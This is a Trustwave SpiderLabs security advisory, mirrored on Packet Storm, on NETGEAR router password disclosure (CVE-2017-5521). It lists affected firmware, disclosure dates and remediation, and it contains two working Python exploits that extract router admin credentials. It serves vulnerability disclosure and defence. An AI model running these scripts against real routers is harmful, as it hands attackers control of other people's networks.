Netgear Router Password Disclosure

2017-01-31T00:00:00
ID PACKETSTORM:140844
Type packetstorm
Reporter Simon Kenin
Modified 2017-01-31T00:00:00

Description

                                        
                                            `Trustwave SpiderLabs Security Advisory TWSL2017-003:  
Multiple Vulnerabilities in NETGEAR Routers  
  
Published: 01/30/2017  
Version: 1.0  
  
Vendor: NETGEAR (http://www.netgear.com/)  
Product: Multiple products  
  
Finding 1: Remote and Local Password Disclosure  
Credit: Simon Kenin of Trustwave SpiderLabs  
CVE: CVE-2017-5521  
  
Version affected:   
  
# AC1450 V1.0.0.34_10.0.16 (Latest)  
# AC1450 V1.0.0.22_1.0.10  
# AC1450 V1.0.0.14_1.0.6  
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)  
# D6400 V1.0.0.34_1.3.34  
# D6400 V1.0.0.38_1.1.38  
# D6400 V1.0.0.22_1.0.22  
# DC112A V1.0.0.30_1.0.60 (Latest)  
# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)  
# JNDR3000 V1.0.0.18_1.0.16 (Latest)  
# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)  
# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)  
# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)  
# R6300 V1.0.2.78_1.0.58 (Latest)  
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)  
# R6300v2 V1.0.3.30_10.0.73  
# R6700 V1.0.1.14_10.0.29 (Latest beta)  
# R6700 V1.0.0.26_10.0.26 (Latest stable)  
# R6700 V1.0.0.24_10.0.18  
# R6900 V1.0.0.4_1.0.10 (Latest)  
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)  
# R8300 V1.0.2.48_1.0.52  
# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)  
# R8500 V1.0.2.26_1.0.41  
# R8500 V1.0.0.56_1.0.28  
# R8500 V1.0.0.20_1.0.11  
# VEGN2610 V1.0.0.35_1.0.35 (Latest)  
# VEGN2610 V1.0.0.29_1.0.29  
# VEGN2610 V1.0.0.27_1.0.27  
# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)  
# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)  
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)  
# WNDR4000 V1.0.2.4_9.1.86 (Latest)  
# WNDR4500 V1.0.1.40_1.0.68 (Latest)  
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)  
# WNDR4500v2 V1.0.0.42_1.0.25  
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)  
# WGR614v10 V1.0.2.58_60.0.84NA  
# WGR614v10 V1.0.2.54_60.0.82NA  
# WN3100RP V1.0.0.14_1.0.19 (Latest)  
# WN3100RP V1.0.0.6_1.0.12  
  
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)  
# Lenovo R3220 V1.0.0.13_1.0.13  
  
  
Product description:  
Multiple Netgear Routers  
  
Many Netgear routers are prone to password disclosure via simple crafted   
requests to the web management server. The bug is exploitable remotely if the   
remote management option is set and can also be exploited given access to the   
router over LAN or WLAN.  
  
When trying to access the web panel a user is asked to authenticate, if the   
authentication is cancelled and password recovery is not enabled, the user is  
redirected to a page which exposes a password recovery token. If a user   
supplies the correct token to the page   
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not  
enabled), they will receive the admin password for the router.   
  
If password recovery is set the exploit will fail, as it will ask the user for the recovery   
questions which were previously set when enabling the feature, this is  
persistent, even after disabling the recovery option the exploit will fail,   
because the router will ask for the security questions.  
This can easily be reproduced using the attached poc, or by sending these two   
simple requests via the browser:  
1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token  
2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)  
  
## netgore.py  
import sys  
import requests  
  
  
def scrape(text, start_trig, end_trig):  
if text.find(start_trig) != -1:  
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]  
else:  
return "i_dont_speak_english"  
#disable nasty insecure ssl warning  
requests.packages.urllib3.disable_warnings()  
#1st stage - get token  
ip = sys.argv[1]  
port = sys.argv[2]  
url = 'http://' + ip + ':' + port + '/'  
try:  
r = requests.get(url)  
except:  
url = 'https://' + ip + ':' + port + '/'  
r = requests.get(url, verify=False)  
model = r.headers.get('WWW-Authenticate')  
if model is not None:  
print "Attcking: " + model[13:-1]  
else:  
print "not a netgear router"  
sys.exit(0)  
token = scrape(r.text, 'unauth.cgi?id=', '\"')  
if token == 'i_dont_speak_english':  
print "not vulnerable"  
sys.exit(0)  
print "token found: " + token  
#2nd stage - pass the token - get the password  
url = url + 'passwordrecovered.cgi?id=' + token  
r = requests.post(url, verify=False)  
#profit  
if r.text.find('left\">') != -1:  
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))  
username = scrape(username, '>', '\'')  
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))  
password = scrape(password, '>', '\'')  
if username == "i_dont_speak_english":  
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))  
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))  
else:  
print "not vulnerable becuse password recovery IS set"  
sys.exit(0)  
#html encoding pops out of nowhere, lets replace that  
password = password.replace("#","#")  
password = password.replace("&","&")  
print "user: " + username  
print "pass: " + password  
  
================================  
Just run the PoC against a router to get the credentials if it is vulnerable.  
  
  
  
Finding 2: Remote and Local Password Disclosure  
Credit: Simon Kenin of Trustwave SpiderLabs  
CVE: CVE-2017-5521  
  
Version affected:   
  
# AC1450 V1.0.0.34_10.0.16 (Latest)  
# AC1450 V1.0.0.22_1.0.10  
# AC1450 V1.0.0.14_1.0.6  
# D6300 V1.0.0.96_1.1.96 (Latest)  
# D6300B V1.0.0.36_1.0.36  
# D6300B V1.0.0.32_1.0.32  
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)  
# D6400 V1.0.0.22_1.0.22  
# DC112A V1.0.0.30_1.0.60 (Latest)  
# DGN2200v4 V1.0.0.76_1.0.76 (Latest)  
# DGN2200v4 V1.0.0.66_1.0.66  
# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)  
# JNDR3000 V1.0.0.18_1.0.16 (Latest)  
# R6200 V1.0.1.56_1.0.43 (Latest)  
# R6200 V1.0.1.52_1.0.41  
# R6200 V1.0.1.48_1.0.37  
# R6200v2 V1.0.3.10_10.1.10 (Latest)  
# R6200v2 V1.0.1.20_1.0.18  
# R6250 V1.0.4.6_10.1.12 (Latest beta)  
# R6250 V1.0.4.2_10.1.10 (Latest stable)  
# R6250 V1.0.1.84_1.0.78   
# R6300 V1.0.2.78_1.0.58 (Latest)  
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)  
# R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)  
# R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)  
# R6700 V1.0.0.26_10.0.26 (Latest)  
# R6700 V1.0.0.24_10.0.18  
# R6900 V1.0.0.4_1.0.10 (Latest)  
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)  
# R7000 V1.0.4.30_1.1.67  
# R7900 V1.0.1.8_10.0.14 (Latest beta)  
# R7900 V1.0.1.4_10.0.12 (Latest stable)  
# R7900 V1.0.0.10_10.0.7  
# R7900 V1.0.0.8_10.0.5  
# R7900 V1.0.0.6_10.0.4  
# R8000 V1.0.3.26_1.1.18 (Latest beta)  
# R8000 V1.0.3.4_1.1.2 (Latest stable)  
# R8300 V1.0.2.48_1.0.52  
# R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)  
# R8500 V1.0.2.30_1.0.43  
# VEGN2610 V1.0.0.35_1.0.35 (Latest)  
# VEGN2610 V1.0.0.27_1.0.27  
# VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)  
# VEVG2660 V1.0.0.23_1.0.23  
# WNDR3400v2 V1.0.0.52_1.0.81 (Latest)  
# WNDR3400v3 V1.0.1.4_1.0.52 (Latest)  
# WNDR3400v3 V1.0.1.2_1.0.51  
# WNDR3400v3 V1.0.0.22_1.0.29  
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)  
# WNDR4000 V1.0.2.4_9.1.86 (Latest)  
# WNDR4500 V1.0.1.40_1.0.68 (Latest)  
# WNDR4500 V1.0.1.6_1.0.24   
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)  
# WNDR4500v2 V1.0.0.50_1.0.30  
# WNR1000v3 V1.0.2.68_60.0.93NA (Latest)  
# WNR1000v3 V1.0.2.62_60.0.87 (Latest)  
# WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)  
# WNR3500Lv2 V1.2.0.32_40.0.74  
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)  
# WGR614v10 V1.0.2.58_60.0.84NA  
# WGR614v10 V1.0.2.54_60.0.82NA  
  
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)  
# Lenovo R3220 V1.0.0.13_1.0.13  
  
  
Many Netgear routers are prone to password disclosure via simple crafted   
request to the web management server. The bug is exploitable remotely if the   
remote management option is set and can also be exploited given access to the   
router over LAN or WLAN.  
  
Netgear routers have an option to restore forgotten password via 2 security   
questions. If the recovery option is disabled (which is the default), it is  
still possible to recover the password by sending a correct token to the   
recovery page.   
  
If a user supplies the correct token to the page   
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not  
enabled), they will receive the admin password for the router. If password   
recovery is set the exploit will fail, as it will ask the user for the recovery   
questions which were previously set when enabling the feature, this is  
persistent, even after disabling the recovery option, the exploit will fail,   
because the router will ask for the security questions.  
  
This mechanism does not work correctly on the very first request to   
"passwordrecovered.cgi" and the token is not properly checked, this means that   
any TOKEN value will result in disclosure of the password.  
The issue occurs after every reboot of the router.  
  
This can easily be reproduced using the attached poc, or by sending a simple   
request via the browser:  
1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)  
  
## netgore2.py  
import sys  
import requests  
  
def scrape(text, start_trig, end_trig):  
if text.find(start_trig) != -1:  
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]  
else:  
return "i_dont_speak_english"  
#disable nasty insecure ssl warning  
requests.packages.urllib3.disable_warnings()  
#1st stage  
ip = sys.argv[1]  
port = sys.argv[2]  
url = 'http://' + ip + ':' + port + '/'  
try:  
r = requests.get(url)  
except:  
url = 'https://' + ip + ':' + port + '/'  
r = requests.get(url, verify=False)  
model = r.headers.get('WWW-Authenticate')  
if model is not None:  
print "Attcking: " + model[13:-1]  
else:  
print "not a netgear router"  
sys.exit(0)  
#2nd stage  
url = url + 'passwordrecovered.cgi?id=get_rekt'  
try:  
r = requests.post(url, verify=False)  
except:  
print "not vulnerable router"  
sys.exit(0)  
#profit  
if r.text.find('left\">') != -1:  
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))  
username = scrape(username, '>', '\'')  
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))  
password = scrape(password, '>', '\'')  
if username == "i_dont_speak_english":  
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))  
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))  
else:  
print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again"  
sys.exit(0)  
#html encoding pops out of nowhere, lets replace that  
password = password.replace("#","#")  
password = password.replace("&","&")  
print "user: " + username  
print "pass: " + password  
  
================================  
Just run the PoC against a router to get the credentials if it is vulnerable.  
  
  
  
  
Remediation Steps:  
Please see NETGEAR's KBA for list of firmware patches for various models. As a   
workaround, the bug only works when password recovery is NOT set. If you do set  
password recovery this is not exploitable.  
  
Revision History:  
04/06/2016 - Vulnerability disclosed to vendor  
04/19/2016 - Request for update and received confirmation of receipt of the advisories  
05/18/2016 - Request for update; no response  
07/14/2016 - Request for update  
07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage  
10/17/2016 - Request for update  
12/15/2016 - Notice of intent to publish advisories  
01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd  
01/30/2017 - Advisory published  
  
  
References  
1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html  
2. https://www.exploit-db.com/exploits/32883/  
3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability  
  
  
About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit https://www.trustwave.com  
  
About Trustwave SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
Disclaimer:  
The information provided in this advisory is provided "as is" without  
warranty of any kind. Trustwave disclaims all warranties, either express or  
implied, including the warranties of merchantability and fitness for a  
particular purpose. In no event shall Trustwave or its suppliers be liable  
for any damages whatsoever including direct, indirect, incidental,  
consequential, loss of business profits or special damages, even if  
Trustwave or its suppliers have been advised of the possibility of such  
damages. Some states do not allow the exclusion or limitation of liability  
for consequential or incidental damages so the foregoing limitation may not  
apply.  
  
`